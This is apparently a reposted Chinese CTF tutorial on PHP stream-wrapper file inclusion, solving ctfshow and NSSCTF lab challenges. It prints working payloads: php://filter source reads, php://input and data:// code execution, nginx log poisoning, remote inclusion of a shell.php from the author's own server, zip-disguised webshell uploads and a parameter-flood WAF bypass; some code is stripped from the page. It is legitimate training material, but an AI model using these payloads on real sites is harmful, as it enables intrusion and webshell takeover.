文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

PHP-伪协议

2023-09-01 13:30

关注

常用的伪协议有

";echo "
";echo "
";echo "
";echo "
";include_once($file);?> flag 在flag.php中

 比如上面这个: ini_set(“allow_url_include”,”on”); 就可以利用

使用文件包含函数包含文件时,文件中的代码会被执行,如果想要读取文件源码,可以使用base64对文件内容进行编码,编码后的文件内容不会被执行,而是展示在页面中,我们将页面中的内容使用base64解码,就可以获取文件的源码了

例题1

以这个题为例:题目提示在flag.php当中,我们使用base64flag.php文件进行编码,可以看到页面中展示了编码后的文件内容,然后对返回结果base就行了

127.0.0.1/?file=php://filter/read=convert.base64-encode/resource=flag.php

例题2

127.0.0.1:28096/?filter=php://filter/convert.base64-encode/resource=flag.php

根据提示,访问flag.php 发现是空白的?其实这两题差不多都是一样的了,这里的变量是GET ‘filter’ 传参,因此就想到了伪协议文件包含,构造payload,然后返回base在解码就行了

php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctype=multipart/form-data时,php:/input将会无效

  • ?url=php://input        — GET请求参数中使用php://input协议
  •       — post请求体中的内容会被当做文件内容执行

例题1

访问是这个  看到了include函数,那我们就用,文件包含php://input这个伪协议

127.0.0.1/?url=php://input

记住这里是post传参,  

它返回  ctf_go_go_go index.php, 

我们构造  cat  访问这个路径,就找到了flag了 

例题2 

页面和上面一样,不过进行了过滤,返回错误。看数据包的话,是nginx,因此使用日志包含

查看日志信息,发现服务器是nginx;
通过查看请求头可以知道服务器为nginx,nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log,其中access.log可以打开。
在日志包含中,找到nginx的log有两种:

......?url=/var/log/nginx/access.log......?url=/var/log/nginx/error.log这里:?url=/var/log/nginx/access.log可以打开

进行日志注入

为了防止url编码,需要在burp中修改User-Agent

GET /?url=/var/log/nginx/access.log HTTP/1.1Host: 4509ff3b-f6af-4f36-8e9e-3e3a1c9842a6.challenge.ctf.showUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 

写入,然后连接就行了;ctfshow{9dcfdfb9-02c4-4597-afd8-90074bb20784}

补充 

这里网上除了日志包含,还可以用远程文件包含方法;进行内网穿透,将端口映射到本地的80端口上,打开自己电脑上的服务器,将一句话文件写入,直接连接。相应的平台可参考 natappngrok蜻蜓映射

大概就是,当然如果你有自己的服务器的话也可以,在当中编写一句话(服务器已启动http协议,然后构造如下参数,就可以和上面一样愉快的连接拉

http://127.0.0.1/?url=http://xxx.xxx.xxx.xxx/shell.php

协议格式: data:资源类型;编码,内容

data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行

?url=data://text/plain,

实操

  //这里是构造成功的flag:NSSCTF{30590d16-19a2-454a-91d2-86c6e02ead2d}

这段 PHP 代码的作用是:接收一个名为 “cxk” 的 GET 参数,读取该参数指定的文件内容并与字符串 “ctrl” 进行比较。如果相等,则输出 $flag 的值;否则输出 “洗洗睡吧”。如果没有传递 “cxk” 参数,则输出 “nononoononoonono”。

根据代码审计以及file_get_contents读取文件内容函数我们可以知道我们需要传入一个文件,里面的内容是”CTRL“(苏珊)那我们就要利用data://伪协议

直接传入‘ctrl’不行,可能是过滤了,只能用base64加密传入,然后就可以了

127.0.0.1:28234/orzorz.php?cxk=data://text/plain;base64,Y3RybA==

zip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell

shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马

?url=zip://shell.jpg
  • 这一题涉及三种伪协议,因此单独列了出来

读取文件源码

打开根据提示,”hint is hear Can you find out the hint.php?“让我们找到”hint.php”.首先想到了构造php://filter 读取文件源码,那我们就可以用第一个获取flag方式把他换成hint.php不就可以了吗

?url=php://filter/read=convert.base64-encode/resource=hint.php

返回base解码得到一个提示,然后我们访问 :test2222222222222.php 

接下来有两种解题方案

①和②都可以;这里连接的时候要用&a连接,别像我刚开始用”/“,

①任意代码执行php://input 

这里第一种构造用php://input  代码的意思$a是如果读取的内容等于字符串 “I want flag“,则输出 “success” 和一个名为 $flag 的变量的值

http://node2.anna.nssctf.cn:28656/index.php?wllm=test2222222222222.php&a=php://input

②任意代码执行data://

data:// 是一种伪协议,用于表示将数据内联嵌入到 URL 中。data:// 协议后面跟着标识数据格式的 MIME 类型和编码方式,可以将文本、图片、音频等数据编码为 Base64 格式,并直接嵌入到 URL 中。

data://本身是数据流封装器,其原理和用法跟php://input类似,但是是发送GET请求参数   &

url/test2222222222222.php&a=data://text/plain,I want flag

题目描述“一个普通的后门”,空白的没东西?

127.0.0.1:28380/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

file=伪协议?传一下看看base解码

发现可以执行命令,因为php的特性如果执行给N_S.S传参,那么N_S.S在后端会被规范成N_S_S  用N[S.S 传参,访问 phpinfo()

127.0.0.1:28380/?N[S.S=phpinfo();

打开用POST  ,构造伪协议,上传然后有waf,该怎末绕过呢?我看大佬们使用长语句绕过

1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&flag=php://filter/read=convert.base64-encode/resource=flag.php

或者用bp都一样,在解码就行了

来源地址:https://blog.csdn.net/IDHALASHAO/article/details/130368938

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯